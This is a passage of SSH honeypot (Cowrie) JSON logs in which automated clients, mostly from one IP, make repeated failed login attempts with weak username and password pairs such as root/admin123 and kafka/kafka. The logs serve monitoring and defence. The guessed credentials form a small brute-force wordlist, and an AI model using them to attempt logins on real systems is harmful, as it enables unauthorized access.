25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:01.273193Z","src_ip":"159.203.92.129","session":"4045b8d23ccd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"RNA","password":"RNA","message":"login attempt [RNA/RNA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:01.295856Z","src_ip":"159.203.92.129","session":"4045b8d23ccd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:02.299486Z","src_ip":"192.109.200.78","session":"5e61e628c707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:02.325370Z","src_ip":"159.203.92.129","session":"4045b8d23ccd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43224,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1b4580b338e","protocol":"ssh","message":"New connection: 192.109.200.78:43224 (159.203.135.109:22) [session: f1b4580b338e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:04.940311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:04.945674Z","src_ip":"192.109.200.78","session":"f1b4580b338e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:05.030177Z","src_ip":"192.109.200.78","session":"f1b4580b338e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"infra","password":"infra","message":"login attempt [infra/infra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:05.291362Z","src_ip":"192.109.200.78","session":"f1b4580b338e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:06.671996Z","src_ip":"192.109.200.78","session":"f1b4580b338e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52600,"dst_ip":"159.203.135.109","dst_port":22,"session":"d58aa650af00","protocol":"ssh","message":"New connection: 192.109.200.78:52600 (159.203.135.109:22) [session: d58aa650af00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:09.088793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:09.094105Z","src_ip":"192.109.200.78","session":"d58aa650af00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:09.329038Z","src_ip":"192.109.200.78","session":"d58aa650af00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:09.728066Z","src_ip":"192.109.200.78","session":"d58aa650af00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:10.817280Z","src_ip":"192.109.200.78","session":"d58aa650af00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52610,"dst_ip":"159.203.135.109","dst_port":22,"session":"907bc4b122a0","protocol":"ssh","message":"New connection: 192.109.200.78:52610 (159.203.135.109:22) [session: 907bc4b122a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:13.457712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:13.461780Z","src_ip":"192.109.200.78","session":"907bc4b122a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:13.547267Z","src_ip":"192.109.200.78","session":"907bc4b122a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:13.801657Z","src_ip":"192.109.200.78","session":"907bc4b122a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:14.889354Z","src_ip":"192.109.200.78","session":"907bc4b122a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52614,"dst_ip":"159.203.135.109","dst_port":22,"session":"54cd1aea12e3","protocol":"ssh","message":"New connection: 192.109.200.78:52614 (159.203.135.109:22) [session: 54cd1aea12e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:17.559638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:17.673630Z","src_ip":"192.109.200.78","session":"54cd1aea12e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:17.678226Z","src_ip":"192.109.200.78","session":"54cd1aea12e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:18.335924Z","src_ip":"192.109.200.78","session":"54cd1aea12e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:19.423995Z","src_ip":"192.109.200.78","session":"54cd1aea12e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53396,"dst_ip":"159.203.135.109","dst_port":22,"session":"278709d47a2c","protocol":"ssh","message":"New connection: 192.109.200.78:53396 (159.203.135.109:22) [session: 278709d47a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:22.634752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:22.639695Z","src_ip":"192.109.200.78","session":"278709d47a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:22.724552Z","src_ip":"192.109.200.78","session":"278709d47a2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:22.977914Z","src_ip":"192.109.200.78","session":"278709d47a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:24.062331Z","src_ip":"192.109.200.78","session":"278709d47a2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53410,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d6805b19db5","protocol":"ssh","message":"New connection: 192.109.200.78:53410 (159.203.135.109:22) [session: 5d6805b19db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:25.715616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:25.721522Z","src_ip":"192.109.200.78","session":"5d6805b19db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:25.806642Z","src_ip":"192.109.200.78","session":"5d6805b19db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:26.130219Z","src_ip":"192.109.200.78","session":"5d6805b19db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:27.218042Z","src_ip":"192.109.200.78","session":"5d6805b19db5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43150,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ae66144c125","protocol":"ssh","message":"New connection: 192.109.200.78:43150 (159.203.135.109:22) [session: 0ae66144c125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:29.806091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:29.812836Z","src_ip":"192.109.200.78","session":"0ae66144c125","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:29.895248Z","src_ip":"192.109.200.78","session":"0ae66144c125","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:30.142588Z","src_ip":"192.109.200.78","session":"0ae66144c125","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:31.535389Z","src_ip":"192.109.200.78","session":"0ae66144c125","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43160,"dst_ip":"159.203.135.109","dst_port":22,"session":"522f80f11337","protocol":"ssh","message":"New connection: 192.109.200.78:43160 (159.203.135.109:22) [session: 522f80f11337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:33.897997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:33.957107Z","src_ip":"192.109.200.78","session":"522f80f11337","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:34.038121Z","src_ip":"192.109.200.78","session":"522f80f11337","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:34.575882Z","src_ip":"192.109.200.78","session":"522f80f11337","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:39:35.660751Z","src_ip":"192.109.200.78","session":"522f80f11337","protocol":"ssh"}
